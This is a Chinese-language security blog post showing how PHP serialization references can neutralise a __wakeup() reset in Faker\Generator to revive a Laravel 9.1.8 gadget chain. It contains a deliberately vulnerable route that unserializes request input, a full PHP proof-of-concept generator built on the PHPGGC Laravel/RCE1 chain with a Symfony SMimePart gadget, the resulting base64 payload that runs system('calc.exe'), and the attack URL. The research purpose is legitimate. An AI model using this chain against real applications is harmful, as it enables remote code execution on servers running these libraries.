A new way to bypass __wakeup() and build POP chain

Posted by 1nhann on 2022-05-17
Page views

A new way to bypass __wakeup() and build POP chain

本文收录于 seebug : https://paper.seebug.org/1905/

本文以 Laravel 9.1.8 为例,介绍一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()

环境搭建

Laravel 9.1.8

routes/web.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
// return view('welcome');
$ser = base64_decode($request->input("ser"));
unserialize($ser);
return "ok";
});

要绕过的 __wakeup()

https://github.com/FakerPHP/Faker

https://github.com/FakerPHP/Faker/pull/136

https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e

image-20220516213009596

image-20220516212734164

在 laravel < v5.7 , yii2 < 2.0.38 的情况下, Faker\Generator 是非常好用的反序列化 gagdet ,但是从 FakerPHP v 1.12.1 之后, Generator.php 中加了个 __wakeup() 方法:

1
2
3
4
public function __wakeup()
{
$this->formatters = [];
}

这使得 $this->formatters 的值始终为空 array ,这个 gagdet 一定程度上,不能用了。

本文提供一个通用的新思路,用以绕过 pop chain 构造过程中遇到的 __wakeup()

梳理绕过思路

关键词:reference

https://www.phpinternalsbook.com/php5/classes_objects/serialization.html

demo

首先考虑 这样一个 demo :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Foo
{
public $bitch;
public $fuck;

public function __destruct()
{
$this->bitch = "bitch";

var_dump($this->fuck);
}

public function __wakeup()
{
$this->fuck = 'fuck';
}
}
$s = 'O:3:"Foo":2:{s:5:"bitch";N;s:4:"fuck";R:2;}';
$o = unserialize($s);
var_dump($o->fuck);

运行结果:

image-20220517000703926

可以看到 s:4:"fuck";R:2; ,使得 $this->fuck$this->bitch 指向的是同一个值,即 $this->fuck 修改了 $this->bitch 也被修改了, $this->bitch 修改了 $this->fuck 也被修改了

核心思想

  1. Faker\Generator$this->formatters 和某个对象$o的某个属性 $a 指向同一个值
  2. Faker\Generator__wakeup() 运行完之后,反序列化 gadget 的 __destruct() 运行之前,给 $a 赋值
  3. $a 的赋值如果完全可控,那么 $this->formatters 将不再为空,且完全可控

寻找绕过用的 gadget

根据上面的思路,很容易想到,找一个合适的 __wakeup() 或者 __destruct()

其中最好有类似这样的代码:

1
$this->a = $this->b;
1
$this->a[$this->b] = $this->c

经过搜索排查,这里给出 三个可以用的 gadget :

Symfony\Component\Mime\Part\SMimePart.php

1
2
3
4
5
6
7
8
9
namespace Symfony\Component\Mime\Part;
class SMimePart extends AbstractPart
public function __wakeup(): void
{
$r = new \ReflectionProperty(AbstractPart::class, 'headers');
$r->setAccessible(true);
$r->setValue($this, $this->_headers);
unset($this->_headers);
}

这个类来自 https://github.com/symfony/mime ,其 $headers 属性继承自其父类 AbstractPart__wakeup() 当中使用反射给 $headers 赋值

翻看 git log ,可以看到从项目建立开始,这个 SMimePart__wakeup() 就存在,而且没有变过( 也就是说凡是使用了 symfony/mime 这个依赖的项目,其 __wakeup() 都可能可以绕过 ):

image-20220516214038940

除此之外,Part/DataPart.phpPart/TextPart.php__wakeup() 也 和 Part/SMimePart.php 大致相同,一样可以被用作 gadget

构造 poc

比如对 Laravel/RCE1 这条链进行改造:

https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/1/gadgets.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$this->formatter = "dispatch";
$this->formatters = 9999;
}

}
}

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
public function __construct()
{
$this->event = "calc.exe";
$this->events = new \Faker\Generator();
}
}
}

namespace Symfony\Component\Mime\Part{
abstract class AbstractPart
{
private $headers = null;
}
class SMimePart extends AbstractPart{
protected $_headers;
public $inhann;
function __construct(){
$this->_headers = ["dispatch"=>"system"];
$this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}


namespace{
$a = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
  1. Faker\Generator$this->formatters 引用到 Symfony\Component\Mime\Part\SMimePart 继承的 $headers
  2. Symfony\Component\Mime\Part\SMimePart 继承的 $headers 的序列化数据排列到 Faker\Generator$this->formatters 的序列化数据之前(这里用正则进行调整)
  3. Faker\GeneratorSymfony\Component\Mime\Part\SMimePart 的一个属性(这里自己随便写了个属性 $inhann) ,这样一来 Symfony\Component\Mime\Part\SMimePart__wakeup 才会在 Faker\Generator__wakeup 之后执行
  4. Symfony\Component\Mime\Part\SMimePart__destruct() 默认情况没有影响

result :

1
TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

attack :

1
http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

image-20220517004350164

调试:

Generator\Generator__wakeup() 先被调用:

image-20220517093132274

Symfony\Component\Mime\Part\SMimePart__wakeup() 随后被调用,并将 $this->_headers 赋值给 $this->headers

image-20220517093250791

然后才进入 __destruct()

image-20220517093429816

可以看到,虽然 Generator\Generator__wakeup() 执行了,但是 $this->formatters 不为空:

image-20220517093507269

总结

总的来说,本文介绍的 bypass __wakeup() 并不是跳过 __wakeup() 的执行,而是通过构造包含reference的特殊序列化数据 ,达到对冲 __wakeup() 的效果。一般情况下,如果 __wakeup() 里面是对属性的再赋值,而没有 throw Exception 之类的,环境依赖又恰到好处,那就可以达到本文所说的 bypass。